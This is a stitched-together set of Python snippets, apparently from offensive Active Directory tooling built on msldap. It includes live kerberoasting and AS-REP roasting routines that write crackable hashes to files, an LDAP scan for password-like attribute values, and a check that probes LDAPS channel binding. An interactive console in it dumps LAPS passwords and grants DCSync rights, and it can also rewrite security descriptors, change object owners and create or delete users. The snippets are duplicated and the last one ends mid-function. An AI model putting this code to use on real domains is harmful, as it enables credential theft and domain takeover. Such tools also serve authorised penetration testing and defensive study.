async def client(url): #blacklist = ['msExch', 'mDB'] #attributes = load_attributes() conn_url = MSLDAPURLDecoder(url) ldap_client = conn_url.get_client() _, err = await ldap_client.connect() if err is not None: raise err results = {} users = ldap_client.pagedsearch('(objectClass=user)', ['*']) async for user in users: user = user[0] output = f"{user['objectName']}\n" for k, v in user['attributes'].items(): if k in UNINTERESTING_ATTRIBUTES: continue if isinstance(v, list): try: v = ''.join(subvalue.decode( ) if isinstance(subvalue, type(b'')) else subvalue for subvalue in v) except: v = '' if not isinstance(v, str): continue if any(keyword in v.lower() for keyword in INTERESTING_KEYWORDS) \ or (k in INTERESTING_ATTRIBUTES and INTERESTING_ATTRIBUTES[k]) \ or any(re.match(pattern, v.lower()) for pattern in INTERESTING_PATTERNS) \ or any(re.match(pattern, v.lower()) for pattern in INTERESTING_PATTERNS_IN_INTERESTING_ATTRIBUTES if k in INTERESTING_ATTRIBUTES): if user['objectName'] not in results: results[user['objectName']] = [] results[user['objectName']].append(f"{str(k)}: {str(v)}") return results
async def generate(self): try: conn_url = MSLDAPURLDecoder(self.url) connection = conn_url.get_client() _, err = await connection.connect() if err is not None: raise err adinfo = connection._ldapinfo domain_name = adinfo.distinguishedName.replace('DC', '').replace( '=', '').replace(',', '.') async for machine, err in connection.get_all_machines( attrs=['sAMAccountName', 'dNSHostName', 'objectSid']): if err is not None: raise err dns = machine.dNSHostName if dns is None: dns = '%s.%s' % (machine.sAMAccountName[:-1], domain_name) yield str(machine.objectSid), str(dns), None except Exception as e: yield None, None, e
async def run_ldaps_withEPA(inputUser, inputPassword, dcTarget): try: url = 'ldaps+ntlm-password://' + inputUser + ':' + inputPassword + '@' + dcTarget conn_url = MSLDAPURLDecoder(url) ldaps_client = conn_url.get_client() ldapsClientConn = MSLDAPClientConnection( ldaps_client.target, ldaps_client.creds) _, err = await ldapsClientConn.connect() if err is not None: context.log.error("ERROR while connecting to " + dcTarget + ": " + err) #forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message ldapsClientConn.cb_data = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' _, err = await ldapsClientConn.bind() if "data 80090346" in str(err): return True elif "data 52e" in str(err): return False elif err is not None: context.log.error("ERROR while connecting to " + dcTarget + ": " + err) elif err is None: return False except Exception as e: context.log.error( "something went wrong during ldaps_withEPA bind:" + str(e))
async def get_ldap_kerberos_targets(ldap_url, target_type = 'all', authmethod = 'ntlm', host = None): if ldap_url == 'auto': ldap_url = get_ldap_url(authmethod = authmethod, host = host) msldap_url = MSLDAPURLDecoder(ldap_url) client = msldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=','').replace(',','.') spn_users = [] asrep_users = [] if target_type == 'asrep' or target_type == 'all': async for user, err in client.get_all_knoreq_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) if target_type == 'spn' or target_type == 'all': async for user, err in client.get_all_service_users(): if err is not None: raise err cred = KerberosSPN() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) return asrep_users, spn_users
async def get_client(url): conn_url = MSLDAPURLDecoder(url) ldap_client = conn_url.get_client() _, err = await ldap_client.connect() if err is not None: raise err log.info("[+] Connected to target") return ldap_client
async def client(url): conn_url = MSLDAPURLDecoder(url) ldap_client = conn_url.get_client() _, err = await ldap_client.connect() if err is not None: raise err user = await ldap_client.get_user('Administrator') print(str(user))
class MSLDAPClientConsole(aiocmd.PromptToolkitCmd): def __init__(self, url = None): aiocmd.PromptToolkitCmd.__init__(self, ignore_sigint=False) #Setting this to false, since True doesnt work on windows... self.conn_url = None if url is not None: self.conn_url = MSLDAPURLDecoder(url) self.connection = None self.adinfo = None self.ldapinfo = None async def do_login(self, url = None): """Performs connection and login""" try: if self.conn_url is None and url is None: print('Not url was set, cant do logon') if url is not None: self.conn_url = MSLDAPURLDecoder(url) logger.debug(self.conn_url.get_credential()) logger.debug(self.conn_url.get_target()) self.connection = self.conn_url.get_client() _, err = await self.connection.connect() if err is not None: raise err return True except: traceback.print_exc() return False async def do_ldapinfo(self, show = True): """Prints detailed LDAP connection info (DSA)""" try: if self.ldapinfo is None: self.ldapinfo = self.connection.get_server_info() if show is True: print(self.ldapinfo) return True except: traceback.print_exc() return False async def do_adinfo(self, show = True): """Prints detailed Active Driectory info""" try: if self.adinfo is None: self.adinfo = self.connection._ldapinfo if show is True: print(self.adinfo) except: traceback.print_exc() async def do_spns(self): """Fetches kerberoastable user accounts""" try: await self.do_ldapinfo(False) async for user in self.connection.get_all_service_user_objects(): print(user.sAMAccountName) except: traceback.print_exc() async def do_asrep(self): """Fetches ASREP-roastable user accounts""" try: await self.do_ldapinfo(False) async for user in self.connection.get_all_knoreq_user_objects(): print(user.sAMAccountName) except: traceback.print_exc() async def do_dump(self): """Fetches ALL user and machine accounts from the domain with a LOT of attributes""" try: await self.do_adinfo(False) await self.do_ldapinfo(False) users_filename = 'users_%s.tsv' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") pbar = tqdm(desc = 'Writing users to file %s' % users_filename) with open(users_filename, 'w', newline='', encoding = 'utf8') as f: async for user in self.connection.get_all_user_objects(): pbar.update() f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS))) print('Users dump was written to %s' % users_filename) users_filename = 'computers_%s.tsv' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") pbar = tqdm(desc = 'Writing computers to file %s' % users_filename) with open(users_filename, 'w', newline='', encoding = 'utf8') as f: async for user in self.connection.get_all_machine_objects(): pbar.update() f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS))) print('Computer dump was written to %s' % users_filename) except: traceback.print_exc() async def do_query(self, query, attributes = None): """Performs a raw LDAP query against the server. Secondary parameter is the requested attributes SEPARATED WITH COMMA (,)""" try: await self.do_ldapinfo(False) if attributes is None: attributes = '*' if attributes.find(','): attributes = attributes.split(',') logging.debug('Query: %s' % (query)) logging.debug('Attributes: %s' % (attributes)) async for entry in self.connection.pagedsearch(query, attributes): print(entry) except: traceback.print_exc() async def do_tree(self, dn = None, level = 1): """Prints a tree from the given DN (if not set, the top) and with a given depth (default: 1)""" try: await self.do_ldapinfo(False) if level is None: level = 1 level = int(level) if dn is not None: try: int(dn) except: pass else: level = int(dn) dn = None if dn is None: await self.do_ldapinfo(False) dn = self.connection._tree logging.debug('Tree on %s' % dn) tree_data = await self.connection.get_tree_plot(dn, level) tr = LeftAligned() print(tr(tree_data)) except: traceback.print_exc() async def do_user(self, samaccountname): """Feteches a user object based on the sAMAccountName of the user""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) async for user in self.connection.get_user(samaccountname): print(user) except: traceback.print_exc() async def do_acl(self, dn): """Feteches security info for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) async for sec_info in self.connection.get_objectacl_by_dn(dn): print(str(SECURITY_DESCRIPTOR.from_bytes(sec_info.nTSecurityDescriptor))) except: traceback.print_exc() async def do_gpos(self): """Feteches security info for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) async for gpo in self.connection.get_all_gpos(): print(gpo) except: traceback.print_exc() async def do_laps(self): """Feteches all laps passwords""" try: async for entry in self.connection.get_all_laps(): pwd = '<MISSING>' if 'ms-mcs-AdmPwd' in entry['attributes']: pwd = entry['attributes']['ms-mcs-AdmPwd'] print('%s : %s' % (entry['attributes']['cn'], pwd)) except: traceback.print_exc() async def do_groupmembership(self, dn): """Feteches names all groupnames the user is a member of for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) group_sids = [] async for group_sid in self.connection.get_tokengroups(dn): group_sids.append(group_sids) group_dn = await self.connection.get_dn_for_objectsid(group_sid) print('%s - %s' % (group_dn, group_sid)) if len(group_sids) == 0: print('No memberships found') except: traceback.print_exc() async def do_bindtree(self, newtree): """Changes the LDAP TREE for future queries. MUST be DN format eg. 'DC=test,DC=corp' !DANGER! Switching tree to a tree outside of the domain will trigger a connection to that domain, leaking credentials!""" self.connection._tree = newtree async def do_trusts(self): """Feteches gives back domain trusts""" try: async for entry in self.connection.get_all_trusts(): print(entry.get_line()) except: traceback.print_exc() async def do_adduser(self, username, password): """Creates a new domain user with password""" try: _, err = await self.connection.create_user(username, password) if err is not None: raise err print('User added') except: traceback.print_exc() async def do_deluser(self, user_dn): """Deletes the user! This action is irrecoverable (actually domain admins can do that but probably will shout with you)""" try: _, err = await self.connection.delete_user(user_dn) if err is not None: raise err print('Goodbye, Caroline.') except: traceback.print_exc() async def do_changeuserpw(self, user_dn, newpass, oldpass = None): """Changes user password, if you are admin then old pw doesnt need to be supplied""" try: _, err = await self.connection.change_password(user_dn, newpass, oldpass) if err is not None: raise err print('User password changed') except: traceback.print_exc() async def do_unlockuser(self, user_dn): """Unlock user by setting lockoutTime to 0""" try: _, err = await self.connection.unlock_user(user_dn) if err is not None: raise err print('User unlocked') except: traceback.print_exc() async def do_enableuser(self, user_dn): """Unlock user by flipping useraccountcontrol bits""" try: _, err = await self.connection.enable_user(user_dn) if err is not None: raise err print('User enabled') except: traceback.print_exc() async def do_disableuser(self, user_dn): """Unlock user by flipping useraccountcontrol bits""" try: _, err = await self.connection.disable_user(user_dn) if err is not None: raise err print('User disabled') except: traceback.print_exc() async def do_addspn(self, user_dn, spn): """Adds an SPN entry to the users account""" try: _, err = await self.connection.add_user_spn(user_dn, spn) if err is not None: raise err print('SPN added!') except: traceback.print_exc() async def do_addhostname(self, user_dn, hostname): """Adds additional hostname to computer account""" try: _, err = await self.connection.add_additional_hostname(user_dn, hostname) if err is not None: raise err print('Hostname added!') except: traceback.print_exc() async def do_test(self): """testing, dontuse""" try: async for entry in self.connection.get_all_objectacl(): if entry.objectClass[-1] != 'user': print(entry.objectClass) except: traceback.print_exc() """
async def live_roast(outfile=None): try: logon = get_logon_info() domain = logon['domain'] url = 'ldap+sspi-ntlm://%s' % logon['logonserver'] msldap_url = MSLDAPURLDecoder(url) client = msldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace( ',', '.') spn_users = [] asrep_users = [] errors = [] results = [] final_results = [] spn_cnt = 0 asrep_cnt = 0 async for user, err in client.get_all_knoreq_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) async for user, err in client.get_all_service_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) for cred in asrep_users: results = [] ks = KerberosTarget(domain) ar = APREPRoast(ks) res = await ar.run(cred, override_etype=[23]) results.append(res) if outfile is not None: filename = outfile + 'asreproast_%s_%s.txt' % ( logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) with open(filename, 'w', newline='') as f: for thash in results: asrep_cnt += 1 f.write(thash + '\r\n') else: final_results += results results = [] for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue try: ctx = AcquireCredentialsHandle(None, 'kerberos', spn_name, SECPKG_CRED.OUTBOUND) res, ctx, data, outputflags, expiry = InitializeSecurityContext( ctx, spn_name, token=None, ctx=ctx, flags=ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION) if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED: ticket = InitialContextToken.load( data[0][1]).native['innerContextToken'] else: raise Exception('Error %s' % res.value) except Exception as e: print(e) errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if outfile is not None: filename = outfile + 'spnroast_%s_%s.txt' % ( logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) with open(filename, 'w', newline='') as f: for thash in results: spn_cnt += 1 f.write(thash + '\r\n') else: final_results += results return final_results, errors, None except Exception as e: return None, None, e
async def amain(args): if args.command == 'tgs': logging.debug('[TGS] started') ku = KerberosClientURL.from_url(args.kerberos_connection_url) cred = ku.get_creds() target = ku.get_target() spn = KerberosSPN.from_user_email(args.spn) logging.debug('[TGS] target user: %s' % spn.get_formatted_pname()) logging.debug('[TGS] fetching TGT') kcomm = AIOKerberosClient(cred, target) await kcomm.get_TGT() logging.debug('[TGS] fetching TGS') await kcomm.get_TGS(spn) kcomm.ccache.to_file(args.out_file) logging.debug('[TGS] done!') elif args.command == 'tgt': logging.debug('[TGT] started') ku = KerberosClientURL.from_url(args.kerberos_connection_url) cred = ku.get_creds() target = ku.get_target() logging.debug('[TGT] cred: %s' % cred) logging.debug('[TGT] target: %s' % target) kcomm = AIOKerberosClient(cred, target) logging.debug('[TGT] fetching TGT') await kcomm.get_TGT() kcomm.ccache.to_file(args.out_file) logging.debug('[TGT] Done! TGT stored in CCACHE file') elif args.command == 'asreproast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') creds = [] targets = get_targets_from_file(args, False) targets += get_target_from_args(args, False) if len(targets) == 0: raise Exception( 'No targets were specified! Either use target file or specify target via cmdline' ) logging.debug('[ASREPRoast] loaded %d targets' % len(targets)) logging.debug( '[ASREPRoast] will suppoort the following encryption type: %s' % (str(args.etype))) ks = KerberosTarget(args.address) ar = APREPRoast(ks) hashes = [] for target in targets: h = await ar.run(target, override_etype=[args.etype]) hashes.append(h) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('ASREPRoast complete') elif args.command == 'spnroast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = get_targets_from_file(args) targets += get_target_from_args(args) if len(targets) == 0: raise Exception( 'No targets were specified! Either use target file or specify target via cmdline' ) logging.debug('Kerberoast loaded %d targets' % len(targets)) if args.etype: if args.etype == -1: etypes = [23, 17, 18] else: etypes = [args.etype] else: etypes = [23, 17, 18] logging.debug( 'Kerberoast will suppoort the following encryption type(s): %s' % (','.join(str(x) for x in etypes))) ku = KerberosClientURL.from_url(args.kerberos_connection_url) cred = ku.get_creds() target = ku.get_target() ar = Kerberoast(target, cred) hashes = await ar.run(targets, override_etype=etypes) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('Kerberoast complete') elif args.command == 'brute': target = KerberosTarget(args.address) with open(args.targets, 'r') as f: for line in f: line = line.strip() spn = KerberosSPN() spn.username = line spn.domain = args.realm ke = KerberosUserEnum(target, spn) result = await ke.run() if result is True: if args.out_file: with open(args.out_file, 'a') as f: f.write(result + '\r\n') else: print('[+] Enumerated user: %s' % str(spn)) logging.info('Kerberos user enumeration complete') elif args.command == 'spnroast-sspi': if platform.system() != 'Windows': print('[-]This command only works on Windows!') return try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = get_targets_from_file(args) targets += get_target_from_args(args) if len(targets) == 0: raise Exception( 'No targets were specified! Either use target file or specify target via cmdline' ) results = [] errors = [] for spn_name in targets: ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn( spn_name.get_formatted_pname()) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) logging.info('SSPI based Kerberoast complete') elif args.command == 'spnroast-multiplexor': #hiding the import so it's not necessary to install multiplexor await spnmultiplexor(args) elif args.command == 'auto': if platform.system() != 'Windows': print('[-]This command only works on Windows!') return try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') domain = args.dc_ip url = 'ldap+sspi-ntlm://%s' % domain msldap_url = MSLDAPURLDecoder(url) client = msldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace( ',', '.') spn_users = [] asrep_users = [] results = [] errors = [] async for user, err in client.get_all_knoreq_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) async for user, err in client.get_all_service_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) for cred in asrep_users: ks = KerberosTarget(domain) ar = APREPRoast(ks) res = await ar.run(cred, override_etype=[args.etype]) results.append(res) for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) elif args.command == 'ldap': ldap_url = MSLDAPURLDecoder(args.ldap_url) client = ldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace( ',', '.') if args.out_file: basefolder = ntpath.dirname(args.out_file) basefile = ntpath.basename(args.out_file) if args.type in ['spn', 'all']: logging.debug('Enumerating SPN user accounts...') cnt = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_spn_users.txt'), 'w', newline='') as f: async for user in client.get_all_service_users(): cnt += 1 f.write('%s@%s\r\n' % (user.sAMAccountName, domain)) else: print('[+] SPN users') async for user, err in client.get_all_service_users(): if err is not None: raise err cnt += 1 print('%s@%s' % (user.sAMAccountName, domain)) logging.debug('Enumerated %d SPN user accounts' % cnt) if args.type in ['asrep', 'all']: logging.debug('Enumerating ASREP user accounts...') ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_asrep_users.txt'), 'w', newline='') as f: async for user, err in client.get_all_knoreq_users(): if err is not None: raise err ctr += 1 f.write('%s@%s\r\n' % (user.sAMAccountName, domain)) else: print('[+] ASREP users') async for user, err in client.get_all_knoreq_users(): if err is not None: raise err ctr += 1 print('%s@%s' % (user.sAMAccountName, domain)) logging.debug('Enumerated %d ASREP user accounts' % ctr) if args.type in ['full', 'all']: logging.debug( 'Enumerating ALL user accounts, this will take some time depending on the size of the domain' ) ctr = 0 attrs = args.attrs if args.attrs is not None else MSADUser_TSV_ATTRS if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_users.tsv'), 'w', newline='', encoding='utf8') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(attrs) async for user, err in client.get_all_users(): if err is not None: raise err ctr += 1 writer.writerow(user.get_row(attrs)) else: logging.debug('Are you sure about this?') print('[+] Full user dump') print('\t'.join(attrs)) async for user, err in client.get_all_users(): if err is not None: raise err ctr += 1 print('\t'.join([str(x) for x in user.get_row(attrs)])) logging.debug('Enumerated %d user accounts' % ctr) if args.type in ['custom']: if not args.filter: raise Exception( 'Custom LDAP search requires the search filter to be specified!' ) if not args.attrs: raise Exception( 'Custom LDAP search requires the attributes to be specified!' ) logging.debug( 'Perforing search on the AD with the following filter: %s' % args.filter) logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_custom.tsv'), 'w', newline='') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(args.attrs) async for obj, err in client.pagedsearch( args.filter, args.attrs): if err is not None: raise err ctr += 1 writer.writerow([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ]) else: async for obj, err in client.pagedsearch( args.filter, args.attrs): if err is not None: raise err ctr += 1 print('\t'.join([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ]))
async def run_auto(): try: if platform.system() != 'Windows': print('[-]This command only works on Windows!') return try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') from winacl.functions.highlevel import get_logon_info logon = get_logon_info() domain = logon['domain'] url = 'ldap+sspi-ntlm://%s' % logon['logonserver'] msldap_url = MSLDAPURLDecoder(url) client = msldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace( ',', '.') spn_users = [] asrep_users = [] errors = [] spn_cnt = 0 asrep_cnt = 0 async for user, err in client.get_all_knoreq_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) async for user, err in client.get_all_service_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) for cred in asrep_users: results = [] ks = KerberosTarget(domain) ar = APREPRoast(ks) res = await ar.run(cred, override_etype=[23]) results.append(res) filename = 'asreproast_%s_%s.txt' % ( logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) with open(filename, 'w', newline='') as f: for thash in results: asrep_cnt += 1 f.write(thash + '\r\n') results = [] for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) filename = 'spnroast_%s_%s.txt' % ( logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) with open(filename, 'w', newline='') as f: for thash in results: spn_cnt += 1 f.write(thash + '\r\n') for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) print('[+] Done! %s spnroast tickets %s asreproast tickets' % (spn_cnt, asrep_cnt)) except Exception as e: print(e)
class MSLDAPClientConsole(aiocmd.PromptToolkitCmd): def __init__(self, url=None): aiocmd.PromptToolkitCmd.__init__( self, ignore_sigint=False ) #Setting this to false, since True doesnt work on windows... self.conn_url = None if url is not None: self.conn_url = MSLDAPURLDecoder(url) self.connection = None self.adinfo = None self.ldapinfo = None self.domain_name = None async def do_login(self, url=None): """Performs connection and login""" try: if self.conn_url is None and url is None: print('Not url was set, cant do logon') if url is not None: self.conn_url = MSLDAPURLDecoder(url) logger.debug(self.conn_url.get_credential()) logger.debug(self.conn_url.get_target()) self.connection = self.conn_url.get_client() _, err = await self.connection.connect() if err is not None: raise err return True except: traceback.print_exc() return False async def do_ldapinfo(self, show=True): """Prints detailed LDAP connection info (DSA)""" try: if self.ldapinfo is None: self.ldapinfo = self.connection.get_server_info() if show is True: for k in self.ldapinfo: print('%s : %s' % (k, self.ldapinfo[k])) return True except: traceback.print_exc() return False async def do_adinfo(self, show=True): """Prints detailed Active Driectory info""" try: if self.adinfo is None: self.adinfo = self.connection._ldapinfo self.domain_name = self.adinfo.distinguishedName.replace( 'DC', '').replace('=', '').replace(',', '.') if show is True: print(self.adinfo) return True except: traceback.print_exc() return False async def do_spns(self): """Fetches kerberoastable user accounts""" try: await self.do_ldapinfo(False) async for user, err in self.connection.get_all_service_users(): if err is not None: raise err print(user.sAMAccountName) return True except: traceback.print_exc() return False async def do_asrep(self): """Fetches ASREP-roastable user accounts""" try: await self.do_ldapinfo(False) async for user, err in self.connection.get_all_knoreq_users(): if err is not None: raise err print(user.sAMAccountName) return True except: traceback.print_exc() return False async def do_computeraddr(self): """Fetches all computer accounts""" try: await self.do_adinfo(False) #machine_filename = '%s_computers_%s.txt' % (self.domain_name, datetime.datetime.now().strftime("%Y%m%d-%H%M%S")) async for machine, err in self.connection.get_all_machines( attrs=['sAMAccountName', 'dNSHostName']): if err is not None: raise err dns = machine.dNSHostName if dns is None: dns = '%s.%s' % (machine.sAMAccountName[:-1], self.domain_name) print(str(dns)) return True except: traceback.print_exc() return False async def do_dump(self): """Fetches ALL user and machine accounts from the domain with a LOT of attributes""" try: await self.do_adinfo(False) await self.do_ldapinfo(False) users_filename = 'users_%s.tsv' % datetime.datetime.now().strftime( "%Y%m%d-%H%M%S") pbar = tqdm(desc='Writing users to file %s' % users_filename) with open(users_filename, 'w', newline='', encoding='utf8') as f: async for user, err in self.connection.get_all_users(): if err is not None: raise err pbar.update() f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS))) print('Users dump was written to %s' % users_filename) users_filename = 'computers_%s.tsv' % datetime.datetime.now( ).strftime("%Y%m%d-%H%M%S") pbar = tqdm(desc='Writing computers to file %s' % users_filename) with open(users_filename, 'w', newline='', encoding='utf8') as f: async for user, err in self.connection.get_all_machines(): if err is not None: raise err pbar.update() f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS))) print('Computer dump was written to %s' % users_filename) return True except: traceback.print_exc() return False async def do_query(self, query, attributes=None): """Performs a raw LDAP query against the server. Secondary parameter is the requested attributes SEPARATED WITH COMMA (,)""" try: await self.do_ldapinfo(False) if attributes is None: attributes = '*' if attributes.find(','): attributes = attributes.split(',') logging.debug('Query: %s' % (query)) logging.debug('Attributes: %s' % (attributes)) async for entry, err in self.connection.pagedsearch( query, attributes): if err is not None: raise err print(entry) return True except: traceback.print_exc() return False async def do_tree(self, dn=None, level=1): """Prints a tree from the given DN (if not set, the top) and with a given depth (default: 1)""" try: await self.do_ldapinfo(False) if level is None: level = 1 level = int(level) if dn is not None: try: int(dn) except: pass else: level = int(dn) dn = None if dn is None: await self.do_ldapinfo(False) dn = self.connection._tree logging.debug('Tree on %s' % dn) tree_data = await self.connection.get_tree_plot(dn, level) tr = LeftAligned() print(tr(tree_data)) return True except: traceback.print_exc() return False async def do_user(self, samaccountname, to_print=True): """Feteches a user object based on the sAMAccountName of the user""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) user, err = await self.connection.get_user(samaccountname) if err is not None: raise err if to_print is True: if user is None: print('User not found!') else: print(user) return user except: traceback.print_exc() return False async def do_machine(self, samaccountname): """Feteches a machine object based on the sAMAccountName of the machine""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) machine, err = await self.connection.get_machine(samaccountname) if err is not None: raise err if machine is None: print('machine not found!') else: print(machine) ####TEST x = SECURITY_DESCRIPTOR.from_bytes( machine.allowedtoactonbehalfofotheridentity) print(x) return True except: traceback.print_exc() return False async def do_schemaentry(self, cn): """Feteches a schema object entry object based on the DN of the object (must start with CN=)""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) schemaentry, err = await self.connection.get_schemaentry(cn) if err is not None: raise err print(str(schemaentry)) return True except: traceback.print_exc() return False async def do_allschemaentry(self): """Feteches all schema object entry objects""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) async for schemaentry, err in self.connection.get_all_schemaentry( ): if err is not None: raise err print(str(schemaentry)) return True except: traceback.print_exc() return False #async def do_addallowedtoactonbehalfofotheridentity(self, target_name, add_computer_name): # """Adds a SID to the msDS-AllowedToActOnBehalfOfOtherIdentity protperty of target_dn""" # try: # await self.do_ldapinfo(False) # await self.do_adinfo(False) # # try: # new_owner_sid = SID.from_string(sid) # except: # print('Incorrect SID!') # return False, Exception('Incorrect SID') # # # target_sd = None # if target_attribute is None or target_attribute == '': # target_attribute = 'nTSecurityDescriptor' # res, err = await self.connection.get_objectacl_by_dn(target_dn) # if err is not None: # raise err # target_sd = SECURITY_DESCRIPTOR.from_bytes(res) # else: # # query = '(distinguishedName=%s)' % target_dn # async for entry, err in self.connection.pagedsearch(query, [target_attribute]): # if err is not None: # raise err # print(entry['attributes'][target_attribute]) # target_sd = SECURITY_DESCRIPTOR.from_bytes(entry['attributes'][target_attribute]) # break # else: # print('Target DN not found!') # return False, Exception('Target DN not found!') # # print(target_sd) # new_sd = copy.deepcopy(target_sd) # new_sd.Owner = new_owner_sid # print(new_sd) # # changes = { # target_attribute : [('replace', [new_sd.to_bytes()])] # } # _, err = await self.connection.modify(target_dn, changes) # if err is not None: # raise err # # print('Change OK!') # except: # traceback.print_exc() async def do_changeowner(self, new_owner_sid, target_dn, target_attribute=None): """Changes the owner in a Security Descriptor to the new_owner_sid on an LDAP object or on an LDAP object's attribute identified by target_dn and target_attribute. target_attribute can be omitted to change the target_dn's SD's owner""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) _, err = await self.connection.change_priv_owner( new_owner_sid, target_dn, target_attribute=target_attribute) if err is not None: raise err except: traceback.print_exc() return False async def do_addprivdcsync(self, user_dn, forest=None): """Adds DCSync rights to the given user by modifying the forest's Security Descriptor to add GetChanges and GetChangesAll ACE""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) _, err = await self.connection.add_priv_dcsync( user_dn, self.adinfo.distinguishedName) if err is not None: raise err print('Change OK!') return True except: traceback.print_exc() return False async def do_addprivaddmember(self, user_dn, group_dn): """Adds AddMember rights to the user on the group specified by group_dn""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) _, err = await self.connection.add_priv_addmember( user_dn, group_dn) if err is not None: raise err print('Change OK!') return True except: traceback.print_exc() return False async def do_setsd(self, target_dn, sddl): """Updates the security descriptor of an object""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) try: new_sd = SECURITY_DESCRIPTOR.from_sddl(sddl) except: print('Incorrect SDDL input!') return False, Exception('Incorrect SDDL input!') _, err = await self.connection.set_objectacl_by_dn( target_dn, new_sd.to_bytes()) if err is not None: raise err print('Change OK!') return True except: print('Erro while updating security descriptor!') traceback.print_exc() return False async def do_getsd(self, dn): """Feteches security info for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) sec_info, err = await self.connection.get_objectacl_by_dn(dn) if err is not None: raise err sd = SECURITY_DESCRIPTOR.from_bytes(sec_info) print(sd.to_sddl()) return True except: 